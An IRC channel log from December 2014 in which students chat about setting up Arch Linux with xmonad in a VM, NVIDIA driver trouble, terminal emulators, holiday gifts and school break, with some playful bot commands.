[2014-12-18T21:01:07-0500] The_Master (uid51972@pdgn-vvu.9lf.7cuf9e.IP) left the channel ("")
[2014-12-18T21:06:17-0500] <+Tamini> JacobEdelman, sweetie
[2014-12-18T21:06:28-0500] <+Tamini> we managed to successfully convince hardmath123 that
[2014-12-18T21:06:31-0500] <+Tamini> we went to the same school
[2014-12-18T21:06:58-0500] <+hardmath123> tbh, i just assumed that all of you go to the same school
[2014-12-18T21:07:13-0500] <+Tamini> lol, no
[2014-12-18T21:07:18-0500] <+Tamini> two big groups school-wise here
[2014-12-18T21:07:26-0500] <+Tamini> and a couple people that are entirely random that we just adore
[2014-12-18T21:10:17-0500] <@awe> Why do operating systems bundle terrible games?
[2014-12-18T21:10:33-0500] <@awe> Why would I want sudoku with my Ubuntu?
[2014-12-18T21:11:27-0500] <jwoglom> awe: for ubuntu's case, probably to show to a new user that games exist on the linux platform
[2014-12-18T21:11:50-0500] <+LittleBobbyTables> My mouse isn't working in Starcraft :(
[2014-12-18T21:12:01-0500] <@awe> Wish I could get Ubuntu minus all the crap.
[2014-12-18T21:12:09-0500] <@awe> Installing Unity with other distros is a pain.
[2014-12-18T21:12:12-0500] <+LittleBobbyTables> It's called Debian
[2014-12-18T21:12:40-0500] <@awe> Unity.
[2014-12-18T21:12:53-0500] <@awe> It's a pain in the ass to install on anything that's not Ubuntu.
[2014-12-18T21:12:55-0500] <+LittleBobbyTables> Why Unity?
[2014-12-18T21:12:57-0500] <+LittleBobbyTables> It's so sluggish
[2014-12-18T21:13:18-0500] <@awe> It's pretty.
[2014-12-18T21:13:33-0500] <@awe> It's the only desktop environment on Linux that's pretty by default.
[2014-12-18T21:14:02-0500] <@awe> I'd install Arch in a VM and set it up with xmonad, but I don't think I'll use it that frequently.
[2014-12-18T21:14:11-0500] <@awe> So, it'll probably break between uses.
[2014-12-18T21:24:28-0500] <@awe> Fuck it, let's do arch and xmonad.
[2014-12-18T21:44:43-0500] <bob_twinkles> yeeeees
[2014-12-18T21:45:35-0500] <+Tamini> lol, awe
[2014-12-18T21:45:43-0500] <+Tamini> i forgot how important it was to you that everything be pretty
[2014-12-18T21:45:53-0500] <@awe> I know xmonad can be pretty if you try.
[2014-12-18T21:45:58-0500] <@awe> I've seen some bitchin' xmonad setups.
[2014-12-18T22:09:43-0500] <@awe> wat
[2014-12-18T22:09:54-0500] <@awe> bob_twinkles: internet worked automatically during install
[2014-12-18T22:09:59-0500] <@awe> bob_twinkles: reboot into system
[2014-12-18T22:10:01-0500] <@awe> bob_twinkles: no interbutts
[2014-12-18T22:10:02-0500] <bob_twinkles> yes
[2014-12-18T22:10:03-0500] <bob_twinkles> yes
[2014-12-18T22:10:11-0500] <bob_twinkles> systemctl start dhcpcd
[2014-12-18T22:10:16-0500] <+LittleBobbyTables> I just realized that the monitor my dad bought me for xmas is refurbed
[2014-12-18T22:10:17-0500] <bob_twinkles> systemctl enable dhcpcd
[2014-12-18T22:10:20-0500] <+LittleBobbyTables> Hopefully it works
[2014-12-18T22:10:41-0500] <bob_twinkles> awe: wired or wireless?
[2014-12-18T22:10:49-0500] <@awe> That worked.
[2014-12-18T22:10:56-0500] <@awe> It's a VM.
[2014-12-18T22:10:57-0500] <bob_twinkles> goodie
[2014-12-18T22:11:09-0500] <bob_twinkles> so wired but not really =P
[2014-12-18T22:11:12-0500] <@awe> That's a weird thing to not have copied.
[2014-12-18T22:11:29-0500] <bob_twinkles> not everyone needs/wants dhcp
[2014-12-18T22:11:46-0500] <@awe> I get that.
[2014-12-18T22:11:49-0500] <@awe> But it was on to begin with.
[2014-12-18T22:12:12-0500] <bob_twinkles> the livedisk does it automatically 'cause that needs to be as worky as possible and anyone who doesn't want DHCP presumably knows how to set up a PXE bot
[2014-12-18T22:12:15-0500] <bob_twinkles> *boot
[2014-12-18T22:12:21-0500] <@awe> And naturally, it's not mentioned anywhere.
[2014-12-18T22:12:34-0500] <bob_twinkles> the install guide used to be really good at least
[2014-12-18T22:12:38-0500] <bob_twinkles> =(
[2014-12-18T22:12:38-0500] <@awe> They gutted it.
[2014-12-18T22:12:48-0500] <@awe> I remember when it was HUGE.
[2014-12-18T22:12:54-0500] <@awe> Now it's just links to other pages.
[2014-12-18T22:12:58-0500] <bob_twinkles> I think the huge one still exists somewhere
[2014-12-18T22:13:04-0500] <@awe> Oh well.
[2014-12-18T22:13:14-0500] <bob_twinkles> damn though, that guide was really useful
[2014-12-18T22:14:18-0500] <@awe> Yup.
[2014-12-18T22:14:56-0500] <bob_twinkles> meh, at this point I can mostly install gentoo without the install guide; arch is ez pz =P
[2014-12-18T22:16:10-0500] <+Tamini> awe:
[2014-12-18T22:16:15-0500] <+Tamini> should I do that over winter break
[2014-12-18T22:16:23-0500] <@awe> Sure.
[2014-12-18T22:16:25-0500] <@awe> Or right now.
[2014-12-18T22:16:37-0500] <@awe> bob_twinkles: I mean, it's not terrible, but I don't linux very often.
[2014-12-18T22:16:45-0500] <+Tamini> eh, i'm writing my latin poem still
[2014-12-18T22:16:47-0500] <@awe> bob_twinkles: So, the gotchas are very annoying.
[2014-12-18T22:16:54-0500] <bob_twinkles> I don't think I could do a windows install
[2014-12-18T22:17:05-0500] <@awe> OS X.
[2014-12-18T22:17:06-0500] <@awe> :D
[2014-12-18T22:17:08-0500] <+Tamini> bob_twinkles: i think those might be idiot-proof
[2014-12-18T22:17:09-0500] <bob_twinkles> haven't touched the configuration side of windows in nearly... 5 years?
[2014-12-18T22:17:17-0500] <@awe> Windows installs involve pressing the next a lot.
[2014-12-18T22:17:23-0500] <bob_twinkles> ok I could do an idiot level windows install
[2014-12-18T22:17:33-0500] <bob_twinkles> but I'd be lost as far as how to actually get a productive setup going
[2014-12-18T22:18:12-0500] <@awe> usability of wayland right now?
[2014-12-18T22:18:24-0500] <bob_twinkles> can, don't
[2014-12-18T22:18:31-0500] <@awe> Okay.
[2014-12-18T22:18:47-0500] <@awe> Installing x is a huge pain point, IIRC.
[2014-12-18T22:19:32-0500] <@awe> bob_twinkles: https://www.dropbox.com/s/1xic7276i68lv6t/Screenshot%202014-12-18%2022.19.30.png?dl=0
[2014-12-18T22:19:33-0500] <bob_twinkles> nah, "pacman -S xorg-server" should get you started
[2014-12-18T22:19:34-0500] <@awe> bob_twinkles: wat
[2014-12-18T22:19:38-0500] <@awe> I meant the configuration lol
[2014-12-18T22:19:47-0500] <bob_twinkles> oh
[2014-12-18T22:19:52-0500] <@awe> I guess mesa?
[2014-12-18T22:19:53-0500] <bob_twinkles> that mostly Just Works I think
[2014-12-18T22:20:05-0500] <bob_twinkles> yeah
[2014-12-18T22:21:03-0500] <@awe> recommendation for display manager?
[2014-12-18T22:21:25-0500] <@awe> I know I used slim.
[2014-12-18T22:21:32-0500] <bob_twinkles> if you're serious about XMonad you don't need anything else
[2014-12-18T22:21:56-0500] <@awe> xmonad is just a WM though?
[2014-12-18T22:22:14-0500] <bob_twinkles> yeah, you can install a full DE if you want
[2014-12-18T22:22:16-0500] <@awe> I could just use xstart, if that's what you mean.
[2014-12-18T22:22:16-0500] <bob_twinkles> I don't use one though
[2014-12-18T22:22:30-0500] <bob_twinkles> das what I do
[2014-12-18T22:22:33-0500] <@awe> DMs are just login screens
[2014-12-18T22:22:42-0500] <bob_twinkles> no
[2014-12-18T22:22:53-0500] <@awe> display manager != desktop environment
[2014-12-18T22:23:04-0500] <@awe> A display manager, or login manager, is typically a graphical user interface that is displayed at the end of the boot process in place of the default shell. 
[2014-12-18T22:23:22-0500] <bob_twinkles> oh, yeah
[2014-12-18T22:23:30-0500] <bob_twinkles> I said D*E* not D*M*
[2014-12-18T22:23:36-0500] <@awe> I asked dm though. ;)
[2014-12-18T22:23:48-0500] <bob_twinkles> yeah, I can't be assed to configure one
[2014-12-18T22:23:55-0500] <@awe> slim is pretty easy.
[2014-12-18T22:23:57-0500] <bob_twinkles> we use lightdm in the CSL, it's pretty nice
[2014-12-18T22:24:18-0500] <@awe> lightdm is the stock ubuntu one?
[2014-12-18T22:24:28-0500] <bob_twinkles> dunno
[2014-12-18T22:24:42-0500] <@awe> ddg images show ubuntu's start screen with it lol
[2014-12-18T22:24:46-0500] <bob_twinkles> I thought ubuntu used the gnome3 dm though
[2014-12-18T22:25:39-0500] <bob_twinkles> that may have been awhile ago, it's been years since I used ubuntu
[2014-12-18T22:26:12-0500] <@awe> Ah, lightdm has different greeters
[2014-12-18T22:26:16-0500] <@awe> Unity has one.
[2014-12-18T22:26:22-0500] <@awe> (Must've changed when they dropped Gnome)
[2014-12-18T22:32:23-0500] <nezorg> so how about that secret santa
[2014-12-18T22:32:46-0500] <+Tamini> nezorg: do you wanna
[2014-12-18T22:32:55-0500] <+Tamini> wait can we actually find a way to gauge interest for this
[2014-12-18T22:33:15-0500] <nezorg> I can't set it up today, I have studying to do
[2014-12-18T22:33:22-0500] <+Tamini> but like
[2014-12-18T22:33:24-0500] <+Tamini> break starts tomorrow
[2014-12-18T22:33:26-0500] <+Tamini> who even studies
[2014-12-18T22:33:31-0500] <nezorg> for tomorrow
[2014-12-18T22:33:33-0500] <+Tamini> also its like 7:30 pm, you can procrastinate for half an hour
[2014-12-18T22:33:34-0500] <+Tamini> psh
[2014-12-18T22:35:00-0500] <@awe> bob_twinkles: I'm going to use xmonad.
[2014-12-18T22:35:14-0500] <nezorg> xmonad is love, xmonad is life
[2014-12-18T22:35:15-0500] <@awe> erm
[2014-12-18T22:35:18-0500] <@awe> I already said that before
[2014-12-18T22:35:20-0500] <@awe> I meant slim.
[2014-12-18T22:35:27-0500] <@awe> I'm currently installing xmonad though.
[2014-12-18T22:35:41-0500] <nezorg> awe: damn you and your working VM graphics
[2014-12-18T22:35:45-0500] <@awe> :D
[2014-12-18T22:35:48-0500] <@awe> I don't know that yet.
[2014-12-18T22:35:50-0500] <@awe> I haven't tried.
[2014-12-18T22:35:52-0500] <nezorg> ah :P
[2014-12-18T22:36:01-0500] <nezorg> well iirc it's not too hard to get working
[2014-12-18T22:36:07-0500] <nezorg> what virtualizer?
[2014-12-18T22:36:07-0500] <nezorg> vmware?
[2014-12-18T22:36:09-0500] <@awe> Parallels.
[2014-12-18T22:36:43-0500] <nezorg> apparently you just use the vesa driver
[2014-12-18T22:36:53-0500] <nezorg> (which I could, but then I'd lose out on actually having a graphics card)
[2014-12-18T22:43:37-0500] <@awe> this is uhh...
[2014-12-18T22:43:38-0500] <@awe> weird.
[2014-12-18T22:43:51-0500] <@awe> I did systemctl enable slim
[2014-12-18T22:43:56-0500] <@awe> and then rebooted
[2014-12-18T22:43:57-0500] <@awe> and no slim?
[2014-12-18T23:03:38-0500] <nezorg> what I want:
[2014-12-18T23:03:42-0500] <nezorg> systemctl enable workinggraphics
[2014-12-18T23:03:54-0500] <bob_twinkles> or you could not VM =P
[2014-12-18T23:04:06-0500] <bob_twinkles> embrace the Arch Way
[2014-12-18T23:04:15-0500] <bob_twinkles> y'know what's hard to debug
[2014-12-18T23:04:20-0500] <bob_twinkles> X11 compositors are hard to debug
[2014-12-18T23:04:35-0500] <bob_twinkles> because if they aren't working, you can't see anything
[2014-12-18T23:05:09-0500] <+Tamini> lol
[2014-12-18T23:05:14-0500] <+Tamini> that osunds like it would be a problem.
[2014-12-18T23:05:35-0500] <bob_twinkles> I'm _really_ glad I didn't disable the vterms right about now
[2014-12-18T23:05:43-0500] <bob_twinkles> saved my bacon at least twice today =P
[2014-12-18T23:05:55-0500] <bob_twinkles> and by bacon I mean "didn't have to force reboot"
[2014-12-18T23:07:01-0500] <nezorg> bob_twinkles: I'm not using a vm
[2014-12-18T23:07:17-0500] <bob_twinkles> what graphics card isn't working then?
[2014-12-18T23:07:20-0500] <nezorg> nvidia
[2014-12-18T23:07:26-0500] <bob_twinkles> optimus?
[2014-12-18T23:07:32-0500] <nezorg> no, it's a desktop gtx 770
[2014-12-18T23:07:47-0500] <nezorg> > pacman -S nvidia
[2014-12-18T23:07:50-0500] <nezorg> > reboot
[2014-12-18T23:07:52-0500] <nezorg> > black screen
[2014-12-18T23:07:56-0500] <@awe> Xmonad working.
[2014-12-18T23:08:02-0500] <@awe> Now I've just got to spend the rest of my life configuring it.
[2014-12-18T23:08:02-0500] <bob_twinkles> huh, that sounds like it should work (at least with the proprietary drivers, glhf with noveau)
[2014-12-18T23:08:13-0500] <nezorg> yeah, I'm using the proprietary drivers
[2014-12-18T23:08:21-0500] <bob_twinkles> nvidia-xconfig?
[2014-12-18T23:08:23-0500] <nezorg> yup
[2014-12-18T23:08:36-0500] <nezorg> read the whole arch wiki page on the nvidia drivers
[2014-12-18T23:08:46-0500] <nezorg> done ridiculous amounts of forum-reading
[2014-12-18T23:08:50-0500] <nezorg> still not working :'(
[2014-12-18T23:09:03-0500] <bob_twinkles> checked dmesg?
[2014-12-18T23:09:08-0500] <nezorg> nothing interesting
[2014-12-18T23:09:17-0500] <nezorg> according to Xorg.0.log everything is going fine
[2014-12-18T23:09:53-0500] <bob_twinkles> at what point is it a black screen?
[2014-12-18T23:10:17-0500] <nezorg> well, without `nomodeset`, immediately after I put in my encryption password
[2014-12-18T23:10:23-0500] <nezorg> with `nomodeset`, when I do startx
[2014-12-18T23:11:04-0500] <bob_twinkles> that makes it nvidia all right
[2014-12-18T23:11:20-0500] <bob_twinkles> it sounds like the driver is misconfiguring the card and/or can't detect that you have a monitor hooked up
[2014-12-18T23:11:24-0500] <bob_twinkles> which is odd
[2014-12-18T23:11:31-0500] <nezorg> no, it can detect the monitor just fine
[2014-12-18T23:11:38-0500] <nezorg> as I said, the Xorg.0.log looks ordinary
[2014-12-18T23:14:29-0500] <bob_twinkles> I know the nvidia drivers can sometimes have issues when it the proc is 64 bit but the north bridge is 32 bit and you have more than 3GB of ram
[2014-12-18T23:14:36-0500] <bob_twinkles> but that sounds weird
[2014-12-18T23:15:05-0500] <nezorg> how do you fix that?
[2014-12-18T23:15:26-0500] <nezorg> I also had infinite problems with graphics in ubuntu, but I fixed that somehow
[2014-12-18T23:15:30-0500] <bob_twinkles> you don't
[2014-12-18T23:15:33-0500] <bob_twinkles> it's a kernel bug
[2014-12-18T23:15:38-0500] <nezorg> how recent?
[2014-12-18T23:16:04-0500] <nezorg> because I was running a fairly recent kernel on ubuntu and graphics were working
[2014-12-18T23:16:48-0500] <bob_twinkles> I've had issues with it for like months (I think, it could have just been a series of weird issues and this is the only one I managed to track down)
[2014-12-18T23:17:13-0500] <bob_twinkles> at least, the only fix I was able to find was "remove your ram until it works" which... isn't really acceptable
[2014-12-18T23:17:27-0500] <bob_twinkles> 'specially since I have 4GB DIMMS =P
[2014-12-18T23:17:33-0500] <nezorg> lol
[2014-12-18T23:17:51-0500] <nezorg> I do too :P
[2014-12-18T23:17:58-0500] <bob_twinkles> it may be that there is some magic parameters you need to pass to the kernel driver
[2014-12-18T23:18:05-0500] <bob_twinkles> *nvidia driver
[2014-12-18T23:18:17-0500] <bob_twinkles> but at that point I said fuckit, installed arch and decided to live with the integrated graphics
[2014-12-18T23:18:21-0500] <bob_twinkles> yay for optimus laptops
[2014-12-18T23:19:03-0500] <bob_twinkles> I may take another swing at it over the break or something, but for like 99% of what I do (use vim) I don't need the horsepower of the discreet card
[2014-12-18T23:19:58-0500] <nezorg> ah
[2014-12-18T23:21:19-0500] <nezorg> I play with cuda / opencl not-infrequently so my card would be helpful
[2014-12-18T23:23:00-0500] <bob_twinkles> I mostly use GPUs as god intended them to be used, so no GPU compute support isn't a big deal
[2014-12-18T23:23:16-0500] <nezorg> :P
[2014-12-18T23:23:32-0500] <bob_twinkles> ... case in point I got home this afternoon and was like "y'know what would be fun? writing a compositor"
[2014-12-18T23:23:44-0500] <bob_twinkles> so far I'm at the "everything is black but at least I can ^C through the window" stage
[2014-12-18T23:23:56-0500] <bob_twinkles> gotta write a bunch of infrastructure to actually get polygons on the screen
[2014-12-18T23:24:35-0500] <bob_twinkles> thank you OpenGL 3.0 core profile
[2014-12-18T23:25:12-0500] <nezorg> :3
[2014-12-18T23:25:33-0500] <bob_twinkles> it's not hard and I've written it a few times
[2014-12-18T23:25:40-0500] <bob_twinkles> it's just I'm on IRC instead of writing boilerplate
[2014-12-18T23:25:54-0500] <@awe> bob_twinkles: god intended GPUs for things?
[2014-12-18T23:25:58-0500] <nezorg> and I'm on IRC instead of doing homework!
[2014-12-18T23:26:17-0500] <+Tamini> as usual, right? :P
[2014-12-18T23:26:36-0500] <nezorg> right!
[2014-12-18T23:26:52-0500] <+Tamini> I'm busy writing my friend a 2-page letter to make up for the fact
[2014-12-18T23:26:57-0500] <+Tamini> i didn't get him an actual gift for christmas oops
[2014-12-18T23:27:07-0500] <+Tamini> homework, we don't need that anyway
[2014-12-18T23:27:48-0500] <nezorg> 2-page letter, perfect replacement for actual gift
[2014-12-18T23:28:20-0500] <nezorg> don't worry, I haven't gotten any of my friends any gifts <3
[2014-12-18T23:28:24-0500] <nezorg> (...well, barring 1)
[2014-12-18T23:28:55-0500] <+Tamini> :P
[2014-12-18T23:28:56-0500] <+Tamini> which one?
[2014-12-18T23:29:05-0500] <+Tamini> and this guy has been getting me the perfect gift for ages, I feel bad
[2014-12-18T23:29:16-0500] <+Tamini> i got him a steam gift card + apologies i am terrible halp
[2014-12-18T23:29:53-0500] <nezorg> lol
[2014-12-18T23:30:21-0500] <nezorg> I got lolight something
[2014-12-18T23:30:25-0500] <nezorg> don't think you know him
[2014-12-18T23:30:30-0500] <+Tamini> lol, who's that?
[2014-12-18T23:30:42-0500] <nezorg> one of my friends? :P
[2014-12-18T23:30:56-0500] <nezorg> or if I'm being particularly cynical, my only friend
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[2014-12-18T23:32:55-0500] <+Tamini> LOL
[2014-12-18T23:32:57-0500] <+Tamini> wait, really?
[2014-12-18T23:33:01-0500] <+Tamini> that's kinda sad
[2014-12-18T23:33:04-0500] <+Tamini> why do you think that? :P
[2014-12-18T23:33:17-0500] <nezorg> I'm not very good at being social
[2014-12-18T23:33:26-0500] <+Tamini> you made friends with us! <3
[2014-12-18T23:33:28-0500] <+Tamini> we like you! :D
[2014-12-18T23:33:31-0500] <+Tamini> :P
[2014-12-18T23:33:33-0500] <nezorg> fair enough
[2014-12-18T23:34:32-0500] <@awe> prettiest terminal emulator?
[2014-12-18T23:34:48-0500] <@awe> https://www.dropbox.com/s/akuk9zx1azdh9ec/Screenshot%202014-12-18%2023.34.45.png?dl=0
[2014-12-18T23:34:50-0500] <@awe> This is my box right now.
[2014-12-18T23:35:12-0500] <nezorg> good ol' xterm
[2014-12-18T23:35:42-0500] <bob_twinkles> I use terminator/terminology
[2014-12-18T23:35:59-0500] <bob_twinkles> terminator for most things since it supports unicode, terminology for IRC because it supports inline image loading
[2014-12-18T23:36:05-0500] <nezorg> wat
[2014-12-18T23:36:22-0500] <bob_twinkles> terminology has a built in image previewer thingy
[2014-12-18T23:36:25-0500] <nezorg> then again emacs can do that too
[2014-12-18T23:36:26-0500] <@awe> I found a urxvt256 theme in the color scheme I want.
[2014-12-18T23:36:42-0500] <bob_twinkles> so if you click on something it recognizes as an image, it pops it up instead of throwing it at firefox
[2014-12-18T23:37:07-0500] <bob_twinkles> I use terminator over [u]rxvt because antialiasing
[2014-12-18T23:37:34-0500] <bob_twinkles> and 8 point font =P
[2014-12-18T23:43:38-0500] <@awe> LittleBobbyTables: urxvt supports antialiasing?
[2014-12-18T23:43:45-0500] <+LittleBobbyTables> Good question
[2014-12-18T23:43:47-0500] <@awe> erm
[2014-12-18T23:43:49-0500] <@awe> not a question
[2014-12-18T23:43:50-0500] <@awe> I meant bob_twinkles 
[2014-12-18T23:43:51-0500] <@awe> and it does.
[2014-12-18T23:43:53-0500] <@awe> for a fact.
[2014-12-18T23:44:01-0500] <@awe> URxvt*font: xft:DejaVu Sans Mono:pixelsize=12:antialias=true:hinting=true
[2014-12-18T23:44:08-0500] <bob_twinkles> oh, hmm
[2014-12-18T23:44:41-0500] <bob_twinkles> maybe I'll switch back to urxvt then, loading the entire python interpreter when I want a terminal is annoying when it gets blown out of cache
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[2014-12-19T00:21:33-0500] <nezorg> "body of my own" sure is an interesting song for a vying-to-be-mainstream pop star to make
[2014-12-19T00:21:35-0500] <nezorg> or perhaps not
[2014-12-19T00:22:10-0500] <Tamini_> wat
[2014-12-19T00:24:27-0500] <nezorg> http://genius.com/Charli-xcx-body-of-my-own-lyrics
[2014-12-19T00:24:54-0500] <Tamini_> wat
[2014-12-19T00:25:51-0500] <nezorg> she's sorta feminist
[2014-12-19T00:25:59-0500] <nezorg> her second album is much worse than her first though :'(
[2014-12-19T00:27:58-0500] <nezorg> and she's sorta not feminist
[2014-12-19T00:27:59-0500] <nezorg> weird
[2014-12-19T00:28:30-0500] <Tamini_> sorta feminist but sorta not?
[2014-12-19T00:29:02-0500] <nezorg> yeah
[2014-12-19T00:30:42-0500] <Tamini_> how does that work?
[2014-12-19T00:30:53-0500] <nezorg> well
[2014-12-19T00:31:21-0500] <nezorg> she still sings a lot about being in love in very traditional pop manners
[2014-12-19T00:31:38-0500] <nezorg> but also does a lot of semi-feminist things (like that song I just linked)
[2014-12-19T00:31:48-0500] <nezorg> (and the title song, "sucker")
[2014-12-19T00:32:47-0500] <@awe> I now need to figure out the resolution issue on Arch.
[2014-12-19T00:32:48-0500] <@awe> Oh boy.
[2014-12-19T00:33:06-0500] <+hardmath123> pfffft sleep time
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[2014-12-19T00:35:51-0500] <Tamini_> ah, okay
[2014-12-19T00:35:56-0500] <Tamini_> eh
[2014-12-19T00:36:03-0500] <Tamini_> you can be feminist and sing about love
[2014-12-19T00:36:24-0500] <nezorg> well, sure
[2014-12-19T00:36:35-0500] <nezorg> but her way is pretty typical is all
[2014-12-19T00:36:39-0500] <nezorg> so idk
[2014-12-19T00:37:37-0500] <+LittleBobbyTables> nezorg: what's your view on refurbished monitors
[2014-12-19T00:37:40-0500] <Tamini_> ah, okay
[2014-12-19T00:38:25-0500] <nezorg> LittleBobbyTables: no idea
[2014-12-19T01:05:05-0500] <+LittleBobbyTables> Hmm
[2014-12-19T01:05:15-0500] <+LittleBobbyTables> If someone purchased something as a gift for me
[2014-12-19T01:05:22-0500] <+LittleBobbyTables> It's getting delivered to my house, and I have the order number
[2014-12-19T01:05:34-0500] <+LittleBobbyTables> Is there any way I could get two night shipping with my prime account or something?
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[2014-12-19T06:29:54-0500] <+JacobEdelman> mailbot, any news now?
[2014-12-19T06:30:13-0500] <+JacobEdelman> no.... well, I don''t have any for you, you meany!
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[2014-12-19T09:58:52-0500] <+LittleBobbyTables> JacobEdelman: nobody said anything in the past 9 hours.
[2014-12-19T10:11:48-0500] <@awe> Argh.
[2014-12-19T10:12:17-0500] <@awe> Using gtf instead of cvt, I got a modeline that's giving me a different error instead.
[2014-12-19T10:12:29-0500] <@awe> xrandr now tells me that my max size isn't great enough to handle it.
[2014-12-19T10:13:23-0500] <@awe> https://www.dropbox.com/s/3jgdsa0pdnq1qjq/Screenshot%202014-12-19%2010.13.20.png?dl=0
[2014-12-19T10:13:24-0500] <@awe> .-.
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[2014-12-19T10:35:28-0500] <nezorg> awe: A+
[2014-12-19T10:35:37-0500] <@awe> help me :(
[2014-12-19T10:35:42-0500] <@awe> I just want 2560x1600
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[2014-12-19T10:39:41-0500] <The_Master> @markov
[2014-12-19T10:39:49-0500] <+awebot> The_Master: enough to me that div A { name: LittleBobbyTables, okay..
[2014-12-19T10:40:00-0500] <The_Master> @markov markov
[2014-12-19T10:40:02-0500] <@awe> awebot: it's struct, not div
[2014-12-19T10:40:07-0500] <+awebot> The_Master: markov chain oneliner..
[2014-12-19T10:40:13-0500] <The_Master> @markov awe
[2014-12-19T10:40:15-0500] <@awe> @markov struct
[2014-12-19T10:40:20-0500] <+awebot> The_Master: awe snowman villain.
[2014-12-19T10:40:28-0500] <+awebot> awe: struct State<T>(Probability, T);.
[2014-12-19T10:41:05-0500] <The_Master> awe-the evil snowman
[2014-12-19T10:41:10-0500] <The_Master> new book
[2014-12-19T10:41:16-0500] <The_Master> @markov evil
[2014-12-19T10:41:23-0500] <+awebot> The_Master: evil and I use /msg..
[2014-12-19T10:41:32-0500] <The_Master> @markov /msg
[2014-12-19T10:41:40-0500] <+awebot> The_Master: /msg Pidgey.
[2014-12-19T10:42:15-0500] <The_Master> @markov hia
[2014-12-19T10:42:22-0500] <+awebot> The_Master: That seed is unknown.
[2014-12-19T10:42:37-0500] <The_Master> @markov That seed
[2014-12-19T10:42:45-0500] <+awebot> The_Master: That is defined in game but it just made me.
[2014-12-19T10:43:07-0500] <The_Master>  awebot: 1 or 2
[2014-12-19T10:43:16-0500] <The_Master> @choose 1 or 2
[2014-12-19T10:43:16-0500] <+awebot> The_Master: 2
[2014-12-19T10:43:19-0500] <The_Master> @choose 1 or 2
[2014-12-19T10:43:19-0500] <+awebot> The_Master: 1
[2014-12-19T10:43:30-0500] <The_Master> @choose school or awebot
[2014-12-19T10:43:30-0500] <+awebot> The_Master: school
[2014-12-19T10:43:36-0500] <The_Master> awebot:wrong
[2014-12-19T10:44:29-0500] <+LittleBobbyTables> awebot: that's an ugly resolution though
[2014-12-19T10:44:56-0500] <+LittleBobbyTables> awe: even
[2014-12-19T10:46:48-0500] <@awe> 2560x1600?
[2014-12-19T10:46:53-0500] <@awe> It'll be tiny, but at least it won't be blurry.
[2014-12-19T10:46:57-0500] <@awe> My plan then is to just use bigger fonts
[2014-12-19T10:48:54-0500] <+LittleBobbyTables> It's 16:10 though
[2014-12-19T10:49:53-0500] <@awe> I have a 16:10 display?
[2014-12-19T10:50:37-0500] <@awe> Sigh, I didn't realize how painful changing my name on github would be.
[2014-12-19T10:50:45-0500] <@awe> I broke Rust-CI again.
[2014-12-19T11:00:30-0500] <+LittleBobbyTables> 2560x1600 is 16:10, yeah
[2014-12-19T11:10:18-0500] <@awe> it wasn't a question in that sense.
[2014-12-19T11:10:20-0500] <@awe> I know it's 16:10.
[2014-12-19T11:10:29-0500] <@awe> I was saying my display is 16:10, it's not like I can just not use 16:10.
[2014-12-19T11:10:47-0500] <@awe> Also: wake up, Rust nightly broke everything, submit PRs everywhere.
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[2014-12-19T12:55:43-0500] <@awe> .active
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (9) to oper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Y: 1, N 2).
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (7) to oper awebot (Y: 1, N 0).
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 6, N 1).
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (8) to deop alokpathy (Y: 0, N 1).
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (10) to oper should_check_if_the_person_is_registered (Y: 1, N 1).
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-19T12:55:43-0500] <&Pidgey> Proposal (11) to deop should_check_if_the_person_is_an_operator (Y: 1, N 0).
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[2014-12-19T13:12:25-0500] <The_Master> @markov
[2014-12-19T13:12:32-0500] <+awebot> The_Master: mtsr: for the comment stating end to functions in a kernel gets a mutable pointer" you run command Start-BitsTransfer" cannot be too minbox.com.
[2014-12-19T13:18:29-0500] <+JacobEdelman> awe, your getting your wish in a way
[2014-12-19T13:18:32-0500] <+JacobEdelman> in thinking about lark
[2014-12-19T13:18:35-0500] <+JacobEdelman> I have realized
[2014-12-19T13:18:59-0500] <+JacobEdelman> that "unboxing", or seperating a value from the type that surrounds it, will not be allowed really
[2014-12-19T13:19:04-0500] <+JacobEdelman> (well, not easily anyway)
[2014-12-19T13:19:30-0500] <+JacobEdelman> so you won't be able to check if an int starts with 1 but checking if it matches int(1$x) (where x would be a variable)
[2014-12-19T13:19:44-0500] <+JacobEdelman> wait.... I take that back
[2014-12-19T13:19:47-0500] <+JacobEdelman> ignore what I just said
[2014-12-19T13:19:48-0500] <+JacobEdelman> all of it
[2014-12-19T15:15:28-0500] <nezorg> http://swiftkey.com/en/blog/decorate-your-phone-this-holiday-season-with-festive-keyboard-themes/ lol, the comments here
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[2014-12-19T16:29:49-0500] <hardmath123> And so it begins. 2 weeks of utter boredom.
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[2014-12-19T17:12:25-0500] <Tamini_> yay, break <3
[2014-12-19T17:12:52-0500] <Tamini_> so, secret santa? :D
[2014-12-19T17:18:52-0500] <hardmath123> We have such different attitudes
[2014-12-19T17:18:56-0500] <hardmath123> 21:30 < hardmath123> And so it begins. 2 weeks of utter boredom.
[2014-12-19T17:20:34-0500] <Tamini_> lol
[2014-12-19T17:20:41-0500] <Tamini_> well i have stuff to do
[2014-12-19T17:20:44-0500] <Tamini_> cough summer camp apps
[2014-12-19T17:24:04-0500] <hardmath123> tell me, honestly, does that really excite you?
[2014-12-19T17:24:14-0500] <Tamini_> lol
[2014-12-19T17:24:19-0500] <Tamini_> more than school
[2014-12-19T17:24:29-0500] <Tamini_> also i can go out and do stuff and stuf
[2014-12-19T17:24:30-0500] <Tamini_> f
[2014-12-19T18:20:19-0500] <@awe> hardmath123: lol, right?
[2014-12-19T18:20:24-0500] <@awe> hardmath123: it's boring as hell.
[2014-12-19T18:23:31-0500] <hardmath123> I need a good book.
[2014-12-19T18:26:09-0500] <Tamini_> read GEB
[2014-12-19T18:30:18-0500] <hardmath123> I read the first chapter, then it sat by my bedside for a year.
[2014-12-19T18:30:29-0500] <hardmath123> My GEB's autographed by the Man himself. :D
[2014-12-19T18:30:43-0500] <Tamini_> omg srsly
[2014-12-19T18:30:46-0500] <Tamini_> im so jealous
[2014-12-19T18:31:20-0500] <hardmath123> He gave a talk at Stanford
[2014-12-19T18:31:34-0500] <hardmath123> and I was like 'yolo' and showed up
[2014-12-19T18:31:41-0500] <hardmath123> and understood 4% of it
